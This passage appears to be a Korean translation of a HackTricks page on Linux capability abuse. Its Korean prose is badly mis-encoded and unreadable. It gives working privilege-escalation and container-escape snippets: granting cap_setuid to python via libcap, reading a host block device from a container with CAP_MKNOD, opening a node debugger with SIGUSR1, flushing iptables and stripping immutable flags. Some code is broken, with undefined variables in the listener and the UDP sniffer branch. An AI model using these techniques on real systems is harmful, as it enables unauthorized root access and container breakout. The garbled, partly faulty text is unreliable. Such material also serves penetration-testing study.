libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)
if(status == 0):
print (cap + " was successfully added to " + path)
{% endcode %}
python setcapability.py /usr/bin/python2.7
{% hint style="warning" %} ìë¡ìŽ ë¥ë ¥ì ë°ìŽë늬ì CAP_SETFCAPìŒë¡ ì€ì íë©Ž ìŽ ë¥ë ¥ì ìê² ë©ëë€. {% endhint %}
SETUID capability륌 ì»ìŒë©Ž SETUID capability ì¹ì ìŒë¡ ê°ì ê¶í ìì¹ ë°©ë²ì íìží ì ììµëë€.
í겜 ìì (Docker íì¶)
Ʞ볞ì ìŒë¡ CAP_SETFCAP ë¥ë ¥ì Dockerì 컚í ìŽë ëŽ íë¡ìžì€ì ë¶ì¬ë©ëë€. ë€ì곌 ê°ì ë°©ë²ìŒë¡ íìží ì ììµëë€:
cat /proc/`pidof bash`/status | grep Cap
CapInh: 00000000a80425fb
CapPrm: 00000000a80425fb
CapEff: 00000000a80425fb
CapBnd: 00000000a80425fb
CapAmb: 0000000000000000
capsh --decode=00000000a80425fb
0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
ìŽ êž°ë¥ì ìŽì§ íìŒì ë€ë¥ž 몚ë êž°ë¥ì ë¶ì¬í ì ìê² íŽì€ëë€, ë°ëŒì ì°ëŠ¬ë ìŽ íìŽì§ì ìžêžë ë€ë¥ž êž°ë¥ íì¶ì ì
ì©íì¬ ì»ší
ìŽëìì íì¶íë ê²ì ìê°í ì ììµëë€.
ê·žë¬ë ì륌 ë€ìŽ gdb ìŽì§ íìŒì CAP_SYS_ADMIN ë° CAP_SYS_PTRACE êž°ë¥ì ë¶ì¬íë €ê³ íë©Ž, ìŽë¥Œ ë¶ì¬í ìë ìì§ë§ ìŽì§ íìŒì ìŽíì ì€íí ì ìë€ë ê²ì ìê² ë ê²ì
ëë€:
getcap /usr/bin/gdb
/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip
setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb
/usr/bin/gdb
bash: /usr/bin/gdb: Operation not permitted
From the docs: Permitted: This is a limiting superset for the effective capabilities that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheriâtable set by a thread that does not have the CAP_SETPCAP capability in its effective set.
Permitted capabilitiesë ì¬ì©í ì ìë ê²ë€ì ì ííë ê²ì²ëŒ 볎ì
ëë€.
ê·žë¬ë Dockerë Ʞ볞ì ìŒë¡ CAP_SETPCAP륌 ë¶ì¬íë¯ë¡, ìì ê°ë¥í ê²ë€ ììì ìë¡ìŽ ë¥ë ¥ì ì€ì í ì ììì§ë 몚ëŠ
ëë€.
ê·žë¬ë ìŽ ë¥ë ¥ì 묞ìììë: CAP_SETPCAP : [âŠ] ížì¶ ì€ë ëì ê²œê³ ì§í©ìì ìì ê°ë¥í ì§í©ì ìŽë€ ë¥ë ¥ë ì¶ê°í©ëë€.
ì°ëŠ¬ë ê²œê³ ì§í©ìì ìì ê°ë¥í ì§í©ìŒë¡ë§ ì¶ê°í ì ìë ê²ì²ëŒ 볎ì
ëë€. ìŽë CAP_SYS_ADMIN ëë CAP_SYS_PTRACEì ê°ì ìë¡ìŽ ë¥ë ¥ì ìì ì§í©ì ë£ìŽ ê¶íì ìì¹ìí¬ ì ììì ì믞í©ëë€.
CAP_SYS_RAWIO
CAP_SYS_RAWIOë /dev/mem
, /dev/kmem
ëë /proc/kcore
ì ëí ì ê·Œ, mmap_min_addr
ìì , ioperm(2)
ë° iopl(2)
ìì€í
ížì¶ ì ê·Œ, ë€ìí ëì€í¬ ëª
ë ¹ì í¬íší ì¬ë¬ 믌ê°í ìì
ì ì ê³µí©ëë€. FIBMAP ioctl(2)
ë ìŽ ë¥ë ¥ì íµíŽ íì±íëë©°, ìŽë 곌거ì 묞ì 륌 ìŒìŒíš ë° ììµëë€. 맀ëŽìŒ íìŽì§ì ë°ë¥Žë©Ž, ìŽë 볎ì ìê° ë€ë¥ž ì¥ì¹ìì ì¥ì¹ë³ ìì
ì ì€ëª
ì ìŒë¡ ìíí ì ìëë¡ í©ëë€.
ìŽë ê¶í ìì¹ ë° Docker íì¶ì ì ì©í ì ììµëë€.
CAP_KILL
ìŽë 몚ë íë¡ìžì€ë¥Œ ì¢ ë£í ì ììì ì믞í©ëë€.
ë°ìŽë늬 ìì
python
ë°ìŽëëŠ¬ê° ìŽ ë¥ë ¥ì ê°ì§ê³ ìë€ê³ ê°ì íŽ ëŽ
ìë€. ë§ìœ ìŽë€ ìë¹ì€ë ììŒ êµ¬ì± (ëë ìë¹ì€ì êŽë šë êµ¬ì± íìŒ) íìŒì ìì í ì ìë€ë©Ž, ìŽë¥Œ ë°±ëìŽë¡ ë§ë€ê³ , ê·ž ìë¹ì€ì êŽë šë íë¡ìžì€ë¥Œ ì¢
ë£í í ìë¡ìŽ êµ¬ì± íìŒìŽ ë¹ì ì ë°±ëìŽë¡ ì€íëꞰ륌 êž°ë€ëŠŽ ì ììµëë€.
#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
Privesc with kill
kill ê¶íìŽ ìê³ rootë¡ ì€í ì€ìž node íë¡ê·žëš(ëë ë€ë¥ž ì¬ì©ìë¡ ì€í ì€ìž 겜ì°)ìŽ ìë€ë©Ž, ìë§ë SIGUSR1 ì ížë¥Œ 볎ëŽì node ëë²ê±°ë¥Œ ìŽê² í ì ììŒë©°, ê·žê³³ì ì°ê²°í ì ììµëë€.
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
{% content-ref url="electron-cef-chromium-debugger-abuse.md" %} electron-cef-chromium-debugger-abuse.md {% endcontent-ref %}
â
ââââââââââââRootedCONì ì€íìžìì ê°ì¥ êŽë šì±ìŽ ëì ì¬ìŽë² 볎ì ìŽë²€ížìŽë©° ì ëœìì ê°ì¥ ì€ìí íì¬ ì€ íëì ëë€. êž°ì ì§ìì ìŽì§íë ì묎륌 ê°ì§ê³ ìë ìŽ íìë 몚ë ë¶ìŒì êž°ì ë° ì¬ìŽë² 볎ì ì 묞ê°ë€ìŽ 몚ìŽë ëšê±°ìŽ ë§ëšì ì¥ìì ëë€.
{% embed url="https://www.rootedcon.com/" %}
CAP_NET_BIND_SERVICE
ìŽë 몚ë í¬íž(í¹ê¶ í¬íž í¬íš)ìì ìì ëêž°í ì ììì ì믞í©ëë€. ìŽ êž°ë¥ìŒë¡ ì§ì ì ìŒë¡ ê¶íì ìì¹ìí¬ ìë ììµëë€.
ë°ìŽë늬 ìì
ë§ìœ **python
**ìŽ ìŽ êž°ë¥ì ê°ì§ê³ ìë€ë©Ž, 몚ë í¬ížìì ìì ëêž°í ì ììŒë©°, ê·ž í¬ížìì ë€ë¥ž í¬ížë¡ ì°ê²°í ì ììµëë€(ìŒë¶ ìë¹ì€ë í¹ì ê¶í í¬ížììì ì°ê²°ì ì구í©ëë€).
{% tabs %} {% tab title="Listen" %}
import socket
s=socket.socket()
s.bind(('0.0.0.0', 80))
s.listen(1)
conn, addr = s.accept()
while True:
output = connection.recv(1024).strip();
print(output)
{% endtab %}
{% tab title="ì°ê²°" %}
import socket
s=socket.socket()
s.bind(('0.0.0.0',500))
s.connect(('10.10.10.10',500))
{% endtab %} {% endtabs %}
CAP_NET_RAW
CAP_NET_RAW ê¶íì íë¡ìžì€ê° RAW ë° PACKET ììŒì ìì±í ì ìëë¡ íì©íì¬ ììì ë€ížìí¬ íší·ì ìì±íê³ ì ì¡í ì ìê² í©ëë€. ìŽë íší· ì€íží, ížëíœ ì£Œì ë° ë€ížìí¬ ì ê·Œ ì ìŽ ì°í륌 í¬íší 볎ì ìíì ìŽëí ì ììµëë€. ì ìì ìž íììë ìŽë¥Œ ìŽì©íŽ 컚í ìŽë ëŒì°í ì ê°ìíê±°ë ížì€íž ë€ížìí¬ ë³Žìì ìììí¬ ì ììŒë©°, í¹í ì ì í ë°©í벜 볎ížê° ìì ê²œì° ëì± ê·žë ìµëë€. ëí, CAP_NET_RAWë RAW ICMP ìì²ì íµí ping곌 ê°ì ìì ì ì§ìíêž° ìíŽ ê¶íìŽ ìë 컚í ìŽëì íìì ì ëë€.
ìŽë ížëíœì ì€ëíí ì ììì ì믞í©ëë€. ìŽ ê¶íìŒë¡ ì§ì ì ìŒë¡ ê¶íì ìì¹ìí¬ ìë ììµëë€.
ë°ìŽë늬 ìì
ë°ìŽë늬 **tcpdump
**ê° ìŽ ê¶íì ê°ì§ê³ ìë€ë©Ž, ìŽë¥Œ ì¬ì©íì¬ ë€ížìí¬ ì 볎륌 캡ì²í ì ììµëë€.
getcap -r / 2>/dev/null
/usr/sbin/tcpdump = cap_net_raw+ep
íê²œìŽ ìŽ êž°ë¥ì ì ê³µíë ê²œì° **tcpdump
**륌 ì¬ì©íì¬ ížëíœì ì€ëíí ìë ììµëë€.
ìŽì§ íìŒ 2ì ì
ë€ì ìë "lo" (localhost) ìží°íìŽì€ì ížëíœì ê°ë¡ì±ë ë° ì ì©í ì ìë python2
ìœëì
ëë€. ìŽ ìœëë https://attackdefense.pentesteracademy.com/ìì "êž°ìŽ: CAP-NET_BIND + NET_RAW" ì€íì€ì ê²ì
ëë€.
import socket
import struct
flags=["NS","CWR","ECE","URG","ACK","PSH","RST","SYN","FIN"]
def getFlag(flag_value):
flag=""
for i in xrange(8,-1,-1):
if( flag_value & 1 <<i ):
flag= flag + flags[8-i] + ","
return flag[:-1]
s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(3))
s.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30)
s.bind(("lo",0x0003))
flag=""
count=0
while True:
frame=s.recv(4096)
ip_header=struct.unpack("!BBHHHBBH4s4s",frame[14:34])
proto=ip_header[6]
ip_header_size = (ip_header[0] & 0b1111) * 4
if(proto==6):
protocol="TCP"
tcp_header_packed = frame[ 14 + ip_header_size : 34 + ip_header_size]
tcp_header = struct.unpack("!HHLLHHHH", tcp_header_packed)
dst_port=tcp_header[0]
src_port=tcp_header[1]
flag=" FLAGS: "+getFlag(tcp_header[4])
elif(proto==17):
protocol="UDP"
udp_header_packed_ports = frame[ 14 + ip_header_size : 18 + ip_header_size]
udp_header_ports=struct.unpack("!HH",udp_header_packed_ports)
dst_port=udp_header[0]
src_port=udp_header[1]
if (proto == 17 or proto == 6):
print("Packet: " + str(count) + " Protocol: " + protocol + " Destination Port: " + str(dst_port) + " Source Port: " + str(src_port) + flag)
count=count+1
CAP_NET_ADMIN + CAP_NET_RAW
CAP_NET_ADMIN ê¶íì ìì ììê² ë€ížìí¬ êµ¬ì± ë³ê²œì ê¶íì ë¶ì¬í©ëë€. ì¬êž°ìë ë°©í벜 ì€ì , ëŒì°í í ìŽëž, ììŒ ê¶í ë° ë žì¶ë ë€ížìí¬ ë€ìì€íìŽì€ ëŽì ë€ížìí¬ ìží°íìŽì€ ì€ì ìŽ í¬íšë©ëë€. ëí ë€ížìí¬ ìží°íìŽì€ìì promiscuous mode륌 íì±ííì¬ ë€ìì€íìŽì€ ê°ì íší· ì€ëíì íì©í©ëë€.
ìŽì§ íìŒ ìì
python binaryê° ìŽë¬í ê¶íì ê°ì§ê³ ìë€ê³ ê°ì íŽ ë³Žê² ìµëë€.
#Dump iptables filter table rules
import iptc
import pprint
json=iptc.easy.dump_table('filter',ipv6=False)
pprint.pprint(json)
#Flush iptables filter table
import iptc
iptc.easy.flush_table('filter')
CAP_LINUX_IMMUTABLE
ìŽë inode ìì±ì ìì í ì ììì ì믞í©ëë€. ìŽ ê¶íìŒë¡ ì§ì ì ìŒë¡ ê¶íì ìì¹ìí¬ ìë ììµëë€.
ë°ìŽë늬 ìì
íìŒìŽ ë¶ë³ìŽë©° pythonìŽ ìŽ ê¶íì ê°ì§ê³ ìë€ë©Ž, ë¶ë³ ìì±ì ì ê±°íê³ íìŒì ìì ê°ë¥íê² ë§ë€ ì ììµëë€:
#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct
FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602
fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
{% hint style="info" %} ìŒë°ì ìŒë¡ ìŽ ë¶ë³ ìì±ì ë€ìì ì¬ì©íì¬ ì€ì ë° ì ê±°ë©ëë€:
sudo chattr +i file.txt
sudo chattr -i file.txt
{% endhint %}
CAP_SYS_CHROOT
CAP_SYS_CHROOTì chroot(2)
ìì€í
ížì¶ì ì€íì ê°ë¥íê² íë©°, ìŽë ìë €ì§ ì·šìœì ì íµíŽ chroot(2)
í겜ìì íì¶í ì ìê² í ì ììµëë€:
CAP_SYS_BOOT
CAP_SYS_BOOTì í¹ì íëìšìŽ íë«íŒì ë§ì¶ LINUX_REBOOT_CMD_RESTART2
ì ê°ì í¹ì ëª
ë ¹ì í¬íšíì¬ ìì€í
ì¬ììì ìí reboot(2)
ìì€í
ížì¶ì ì€íì íì©í ë¿ë§ ìëëŒ, kexec_load(2)
ë° Linux 3.17 ìŽíë¶í°ë ìë¡ìŽ ëë ìëª
ë í¬ëì 컀ëì ë¡ëíêž° ìí kexec_file_load(2)
ì ì¬ì©ì ê°ë¥íê² í©ëë€.
CAP_SYSLOG
CAP_SYSLOGë Linux 2.6.37ìì ë ëì CAP_SYS_ADMINìì ë¶ëŠ¬ëìŽ syslog(2)
ížì¶ì ì¬ì©í ì ìë ë¥ë ¥ì ë¶ì¬í©ëë€. ìŽ êž°ë¥ì kptr_restrict
ì€ì ìŽ 1ìŒ ë /proc
ë° ì ì¬í ìží°íìŽì€ë¥Œ íµíŽ 컀ë 죌ì륌 볌 ì ìê² í©ëë€. Linux 2.6.39 ìŽíë¡ kptr_restrict
ì Ʞ볞ê°ì 0ìŒë¡, 컀ë 죌ìê° ë
žì¶ëì§ë§, ë§ì ë°°í¬íì 볎ììì ìŽì ë¡ ìŽë¥Œ 1(죌ì륌 uid 0ì ì ìžíê³ ìšê¹) ëë 2(íì 죌ì ìšê¹)ë¡ ì€ì í©ëë€.
ëí, CAP_SYSLOGë dmesg_restrict
ê° 1ë¡ ì€ì ë ê²œì° dmesg
ì¶ë ¥ì ì ê·Œí ì ìê² í©ëë€. ìŽë¬í ë³íìë ë¶êµ¬íê³ , CAP_SYS_ADMINì ìì¬ì ì ë¡ë¡ ìžíŽ syslog
ìì
ì ìíí ì ìë ë¥ë ¥ì ì ì§í©ëë€.
CAP_MKNOD
CAP_MKNODë mknod
ìì€í
ížì¶ì êž°ë¥ì ìŒë° íìŒ, FIFO(ìŽëŠìŽ ìë íìŽí) ëë UNIX ëë©ìž ììŒ ìì± ìŽìì êž°ë¥ìŒë¡ íì¥í©ëë€. ìŽë í¹ë³í íìŒì ìì±ì íì©íë©°, ì¬êž°ìë ë€ììŽ í¬íšë©ëë€:
- S_IFCHR: í°ë¯žë곌 ê°ì 묞ì í¹ì íìŒ.
- S_IFBLK: ëì€í¬ì ê°ì ëžë¡ í¹ì íìŒ.
ìŽ êž°ë¥ì ì¥ì¹ íìŒì ìì±í ì ìë ë¥ë ¥ìŽ íìí íë¡ìžì€ì íìì ìŽë©°, 묞ì ëë ëžë¡ ì¥ì¹ë¥Œ íµíŽ ì§ì íëìšìŽì ìížìì©ì ìŽì§í©ëë€.
ìŽë Ʞ볞 ë컀 êž°ë¥ì ëë€ (https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19).
ìŽ êž°ë¥ì ë€ì 조걎ìì ížì€ížìì ê¶í ìì¹(ì 첎 ëì€í¬ ìœêž°)ì íì©í©ëë€:
- ížì€ížì ëí ìŽêž° ì ê·Œ ê¶íìŽ ìì (ë¹í¹ê¶).
- 컚í
ìŽëì ëí ìŽêž° ì ê·Œ ê¶íìŽ ìì (í¹ê¶ (EUID 0) ë° ì íší
CAP_MKNOD
). - ížì€ížì 컚í ìŽëë ëìŒí ì¬ì©ì ë€ìì€íìŽì€ë¥Œ ê³µì íŽìŒ í©ëë€.
컚í ìŽëìì ëžë¡ ì¥ì¹ë¥Œ ìì±íê³ ì ê·Œíë ëšê³:
- ížì€ížìì íì€ ì¬ì©ìë¡:
id
ë¡ íì¬ ì¬ì©ì ID륌 íìží©ëë€, ì:uid=1000(standarduser)
.- ëì ì¥ì¹ë¥Œ ìë³í©ëë€, ì:
/dev/sdb
.
- 컚í
ìŽë ëŽìì
root
ë¡:
# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
- ížì€ížë¡ ëìê°êž°:
# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb
ìŽ ì ê·Œ ë°©ìì íì€ ì¬ì©ìê° ì»ší
ìŽë륌 íµíŽ /dev/sdb
ì ë°ìŽí°ì ì ê·Œíê³ ì ì¬ì ìŒë¡ ìœì ì ìëë¡ íì¬ ê³µì ì¬ì©ì ë€ìì€íìŽì€ì ì¥ì¹ì ì€ì ë ê¶íì ì
ì©í©ëë€.
CAP_SETPCAP
CAP_SETPCAPë íë¡ìžì€ê° ë€ë¥ž íë¡ìžì€ì ë¥ë ¥ ì§í©ì ë³ê²œí ì ìëë¡ íì¬, ì íší, ìì ê°ë¥í ë° íì©ë ì§í©ìì ë¥ë ¥ì ì¶ê°íê±°ë ì ê±°í ì ìê² í©ëë€. ê·žë¬ë íë¡ìžì€ë ìì ì íì©ë ì§í©ì ìë ë¥ë ¥ë§ ìì í ì ììŒë¯ë¡, ë€ë¥ž íë¡ìžì€ì ê¶íì ìì ì ê¶í ìŽììŒë¡ ìì¹ìí¬ ì ììµëë€. ìµê·Œ 컀ë ì
ë°ìŽížë ìŽë¬í ê·ì¹ì ê°ííì¬ CAP_SETPCAP
ê° ìì ì íì©ë ì§í©ìŽë ìì íë¡ìžì€ì íì©ë ì§í© ëŽììë§ ë¥ë ¥ì ì€ìŒ ì ìëë¡ ì ííì¬ ë³Žì ìíì ìííê³ ì íìµëë€. ì¬ì©íë €ë©Ž ì íší ì§í©ì CAP_SETPCAP
ê° ììŽìŒ íë©°, ìì í ëì ë¥ë ¥ìŽ íì©ë ì§í©ì ììŽìŒ íë©°, capset()
ì ì¬ì©íì¬ ìì í©ëë€. ìŽë CAP_SETPCAP
ì íµì¬ êž°ë¥ê³Œ ì í ì¬íì ììœíë©°, ê¶í êŽëŠ¬ ë° ë³Žì ê°íììì ìí ì ê°ì¡°í©ëë€.
**CAP_SETPCAP
**ë íë¡ìžì€ê° ë€ë¥ž íë¡ìžì€ì ë¥ë ¥ ì§í©ì ìì í ì ìëë¡ íë 늬ë
ì€ ë¥ë ¥ì
ëë€. ìŽë ë€ë¥ž íë¡ìžì€ì ì íší, ìì ê°ë¥í ë° íì©ë ë¥ë ¥ ì§í©ìì ë¥ë ¥ì ì¶ê°íê±°ë ì ê±°í ì ìë ë¥ë ¥ì ë¶ì¬í©ëë€. ê·žë¬ë ìŽ ë¥ë ¥ì ì¬ì©íë ë°©ë²ì ëí í¹ì ì íìŽ ììµëë€.
CAP_SETPCAP
ê° ìë íë¡ìžì€ë ìì ì íì©ë ë¥ë ¥ ì§í©ì ìë ë¥ë ¥ë§ ë¶ì¬íê±°ë ì ê±°í ì ììµëë€. ìŠ, íë¡ìžì€ê° ê·ž ë¥ë ¥ì ê°ì§ê³ ìì§ ìë€ë©Ž ë€ë¥ž íë¡ìžì€ì ë¥ë ¥ì ë¶ì¬í ì ììµëë€. ìŽ ì íì íë¡ìžì€ê° ë€ë¥ž íë¡ìžì€ì ê¶íì ìì ì ê¶í ìì€ ìŽììŒë¡ ìì¹ìí€ë ê²ì ë°©ì§í©ëë€.
ê²ë€ê°, ìµê·Œ 컀ë ë²ì ììë CAP_SETPCAP
ë¥ë ¥ìŽ ëì± ì íëììµëë€. ìŽì íë¡ìžì€ê° ë€ë¥ž íë¡ìžì€ì ë¥ë ¥ ì§í©ì ììë¡ ìì í ì ììµëë€. ëì , ìì ì íì©ë ë¥ë ¥ ì§í©ìŽë ìì íë¡ìžì€ì íì©ë ë¥ë ¥ ì§í©ìì ë¥ë ¥ì ì€ìŽë ê²ë§ íì©í©ëë€. ìŽ ë³ê²œì ë¥ë ¥ê³Œ êŽë šë ì ì¬ì ìž ë³Žì ìíì ì€ìŽêž° ìíŽ ëì
ëììµëë€.
CAP_SETPCAP
륌 íšê³Œì ìŒë¡ ì¬ì©íë €ë©Ž ì íší ë¥ë ¥ ì§í©ì ìŽ ë¥ë ¥ìŽ ììŽìŒ íë©°, ëì ë¥ë ¥ìŽ íì©ë ë¥ë ¥ ì§í©ì ììŽìŒ í©ëë€. ê·žë° ë€ì capset()
ìì€í
ížì¶ì ì¬ì©íì¬ ë€ë¥ž íë¡ìžì€ì ë¥ë ¥ ì§í©ì ìì í ì ììµëë€.
ììœíìë©Ž, CAP_SETPCAP
ë íë¡ìžì€ê° ë€ë¥ž íë¡ìžì€ì ë¥ë ¥ ì§í©ì ìì í ì ìëë¡ íì§ë§, ìì ìŽ ê°ì§ê³ ìì§ ìì ë¥ë ¥ì ë¶ì¬í ìë ììµëë€. ëí 볎ì 묞ì ë¡ ìžíŽ ìµê·Œ 컀ë ë²ì ììë ìì ì íì©ë ë¥ë ¥ ì§í©ìŽë ìì íë¡ìžì€ì íì©ë ë¥ë ¥ ì§í©ìì ë¥ë ¥ì ì€ìŽë ê²ë§ íì©íëë¡ êž°ë¥ìŽ ì íëììµëë€.
References
ìŽ ìì ì ëë¶ë¶ì https://attackdefense.pentesteracademy.com/ ì ìŒë¶ ì€íì€ìì ê°ì žìš ê²ì ëë€. ë°ëŒì ìŽ privesc êž°ì ì ì°ìµíê³ ì¶ë€ë©Ž ìŽ ì€íì€ì ì¶ì²í©ëë€.
êž°í ì°žê³ ìë£:
- https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux
- https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.
- https://linux-audit.com/linux-capabilities-101/
- https://www.linuxjournal.com/article/5737
- https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module
- https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot
â
RootedCONì ì€íìžìì ê°ì¥ êŽë šì±ìŽ ëì ì¬ìŽë² 볎ì ìŽë²€ížìŽë©° ì ëœìì ê°ì¥ ì€ìí íì¬ ì€ íëì ëë€. êž°ì ì§ìì ìŽì§íë ì¬ëª ì ê°ì§ê³ ìë ìŽ íìë 몚ë ë¶ìŒì êž°ì ë° ì¬ìŽë² 볎ì ì 묞ê°ë€ìŽ 몚ìŽë ëšê±°ìŽ ë§ëšì ì¥ìì ëë€.
{% embed url="https://www.rootedcon.com/" %}
{% hint style="success" %}
AWS íŽí¹ ë°°ì°ê³ ì°ìµíêž°:HackTricks Training AWS Red Team Expert (ARTE)
GCP íŽí¹ ë°°ì°ê³ ì°ìµíêž°: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks ì§ìíêž°
- 구ë ê³í íìžíêž°!
- ð¬ Discord 귞룹 ëë í ë ê·žëš ê·žë£¹ì ì°žì¬íê±°ë Twitterìì íë¡ì°íìžì ðŠ @hacktricks_live.
- íŽí¹ íì ê³µì íë €ë©Ž HackTricks ë° HackTricks Cloud ê¹íëž ëŠ¬í¬ì§í 늬ì PRì ì ì¶íìžì.